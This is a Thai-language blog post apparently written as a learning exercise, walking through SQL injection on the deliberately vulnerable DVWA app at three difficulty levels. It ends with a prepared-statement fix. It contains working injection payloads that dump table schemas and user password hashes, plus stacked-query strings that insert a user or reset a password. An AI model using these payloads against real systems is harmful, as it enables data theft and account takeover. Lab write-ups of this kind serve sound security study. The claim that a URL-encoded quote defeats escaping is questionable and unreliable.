HomeArtTechHackBlockchain

SQL Injection and SQL Injection Blind

By Khomkrid Lerdprasert
Published in Hack101
August 25, 2020
2 min read
SQL Injection and SQL Injection Blind

SQL Injection and SQL Injection Blind

SQL Injection จัดว่าเป็นช่องโหว่ที่ร้ายแรงอันดับต้นๆในการพัฒนา Web Application เลยก็ว่าได้ ซึ่งใน The Top 10 OWASP vulnerabilities in 2020 are: ได้ถูกจัดว่าเป็นอันดับ 1 เลยทีเดียว

วันนี้เราจะมาดูกันว่าใน DVWA หมวดของ SQL Injection และ SQL Injection Blind นั้นทำงานยังไง และเราควรป้องกันอย่างไร

  1. มาดูแบบ Level Low ในส่วนของ SQL Injection กันก่อน

SQL Injection
SQL Injection

โดย form นี้จะทำการส่งค่า id ของ user ที่ได้รับจาก input text ไปทำการ query ตรงๆเลยโดยไม่มีการป้องกัน params ที่ส่งไปตาม code ข้างล่างนี้

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}

จะเห็นว่า ถ้าเราส่งค่า 1’ or ‘1=1 ลงไปในช่อง text input ตัว SQL Statement จะกลายเป็น

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1=1'

ทันที ดังนั้นเมื่อกด Submit ระบบจะแสดง ชื่อ User ทั้งหมดในระบบออกมา

SQL Injection
SQL Injection

ต่อไปเราจะใช้คำสั่ง union ใน mysql เพื่อรวม query เข้าด้วยกัน โดยจำนวน field ของอีก query ที่ดึงมาจะต้องเท่ากับ query ต้นฉบับที่ server เป้าหมายเขียนเอาไว้ใน code

ดูจากใน code แล้วเค้าดึงมา 2 field งั้นเราจะดึงมา 2 field เช่นกัน เริ่มด้วยเราจะหาก่อนว่าเค้าใช้ sql server ยี่ห้ออะไรรุ่นอะไร จะได้ใช้ command ถูก

1' union select '-' as first_name, version()#

DB Version
DB Version

งั้นต่อไปเราจะลองหาทางดึง Table ในระบบมาดูกันบ้าง ว่ามี Table ชื่ออะไรบ้าง ด้วยคำสั่ง

SELECT table_schema, table_name FROM information_schema.tables

โดยเราจะใช้คำสั่ง UNION ในการเชื่อมเหมือนเดิม

1' UNION SELECT table_schema, table_name FROM information_schema.tables#

DB Version
DB Version

เราจะเห็นว่าใน table_schema ที่ชื่อ dvwa มี table อยู่ 2 ตัวในระบบคือ users และ guestbook ลองทดสอบด้วยคำสั่งด้านล่างอีกที เพื่อดีงเฉพาะ table ใน database ที่ชื่อว่า dvwa มาแสดงครับ

1' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'dvwa

และเราจะใช้คำสั่ง ด้านล่าง เพื่อทำการ แสดงชื่อ columns name ของทุก table ที่อยู่ใน dvwa ออกมา

1' UNION SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema = 'dvwa

scope เข้าไปอีกนิด เราจะดูแต่ใน table users ว่ามี fields ชื่ออะไรบ้าง

1' UNION SELECT table_schema, column_name FROM information_schema.columns WHERE table_name = 'users

จะเห็นว่า table users มี fields ต่างๆดังนี้

  • user_id
  • first_name
  • last_name
  • user
  • password
  • avatar
  • last_login
  • failed_login

แล้วดึงเฉพาะ user และ password ขึ้นมาแสดงทั้งหมด

1' UNION SELECT user, password FROM users#

User password
User password

แต่เนื่องจาก php code ตัวนี้เขียน คำสั่ง exec sql statement ด้วย mysqli_query สมมุติว่าเราต้องการเพิ่ม user คนใหม่เข้าไปในระบบ สามารถตั้ง role ให้เป็น root ได้ด้วยในกรณีที่มีการแบ่ง role ด้วยคำสั่งด้านล่าง จึงไม่ได้ เพราะเป็นการทำงานแบบ multiple query

คำสั่งด้านล่างจะได้ผลก็ต่อเมื่อ programmer เขียนคำสั่ง php ในการ exec sql statement เป็น mysqli_multi_query จึงจะสามารถเพิ่ม user ลงไปด้วยคำสั่งด้านล่างได้

1'; insert into users (first_name,last_name,user,password,avatar,last_login,failed_login) values ('aofiee','aofiee','aofiee',md5('abc1234'),'/hackable/users/admin.jpg',now(),0);#

หรือจะทำการเปลี่ยนรหัสผ่านของ admin ก็ได้หาก programmer เขียนคำสั่ง mysqli_multi_query ไว้

1'; update users set password=md5('password') where user='aofiee';#

แต่เพราะใน code ตัวอย่าง ของ DVWA ใช้ function mysqli_query ในการ exec command sql ผมเลยทดลองทิ้งไว้แค่นี้

อีกตัวอย่างนึงคือการ ดึงว่าตอนนี้ใช้ user อะไร connect ไปที่ database ตัวไหนอยู่

1' union select user(), database()#
  1. Medium Level

จะเห็นว่า form การ input ข้อมูล id user เป็นแบบ selection ไปซะแล้ว

Medium
Medium

เราจะเริ่มจากการแก้ไขจากแบบ select ให้เป็น text box กันก่อน

<select name="id"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option></select>

เป็นแบบนี้

<input type="text" name="id"/>

เมื่อกด Submit ไปจะ error ว่า You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ’\” at line 1

เป็นเพราะมีการใส่ function mysqli_real_escape_string ครอบไว้ใน code php กัน injection ไว้เรียบร้อย

เรามาดูกันต่อครับว่าจะแก้ยังไง

ASCII Encoding Reference
ASCII Encoding Reference

จากตาราง url Encoding เราจะแปลงค่า ’ ให้เป็น %27 แล้วลองกรอกเข้าไปดู

1%27 union select user(), database()#

ผลออกมาสามารถผ่าน function mysqli_real_escape_string ได้

show database
show database

หรือจะทำการแสดง table ทั้งหมดออกมาแบบ ตอนเราทำ Low Level

1%27 UNION SELECT table_schema, table_name FROM information_schema.tables#
  1. Hight Level

Hight Level
Hight Level

จะเป็นการเปิดให้ popup หน้าต่างใหม่ขึ้นมา แล้วทำการเปลี่ยนค่าในหน้าต่างใหม่ (เพื่อ?)

Hight Level
Hight Level

พอลองกรอกเลยพบว่าการทำงานของมันคือ จะเด้ง popup ขึ้นมาให้เรากรอก id ของ user ลงไปบน session หรือ cookies แล้ว popup จะสั่ง reload window opener

<script>window.opener.location.reload(true);</script>

ตัวหน้าต่างหลักก็จะดึงค่าจาก id ที่ระบุมาแสดง

Hight Level
Hight Level

ซึ่ง code ที่ผมเขียนมาตั้งแต่ต้นใช้ได้ใน Level นี้ทั้งหมด เพราะ level นี้กันไว้แค่ Limit ใน php

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

ซึ่งถ้าเราเติมคำสั่ง # (comment) ต่อท้ายใน sql statement จะเป็นการบอกว่า เฮ้ย ไม่ต้องทำคำสั่งหลังจากนี้แล้วนะ เป็นอันจบข่าววววววใน level นี้

ส่วน code ที่มีความปลอดภัยสูง ไม่สามารถทำ sql injection ได้ก็จะมีการเช็คหลายๆอย่างร่วมกันครับ เช่น เช็คว่า id ที่ส่งมา เป็น is_numeric ไหม มีการทำ bindParam แล้วเช็ค result ของขอมูลว่าได้เท่ากับที่เราตั้งใจดึงมาหรือเปล่า ตาม code ด้านล่างเลยครับ

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

รอบหน้ามาต่อตอนจบกับการทำ SQL Injection Blind กันครับ วันนี้ยาวววขอลาไปก่อน

ผิดถูกประการใดแนะนำกันมาได้นะครับ ผมไม่ใช่มืออาชีพทางด้านนี้ แค่กำลังศึกษาเพื่อนำไปเพิ่มศักยภาพให้กับทีมบ้างก็เท่านั้นครับ


Tags

#pentest#kali#hack101#SQL Injection#SQL Injection Blind

Share

Previous Article
Insecure CAPTCHA
Khomkrid Lerdprasert

Khomkrid Lerdprasert

Full Stack Life

Related Posts

Aircrack Ng หารหัส wifi ที่บ้าน
October 16, 2021
1 min
© 2024, All Rights Reserved.
Powered By

Quick Links

Author

Social Media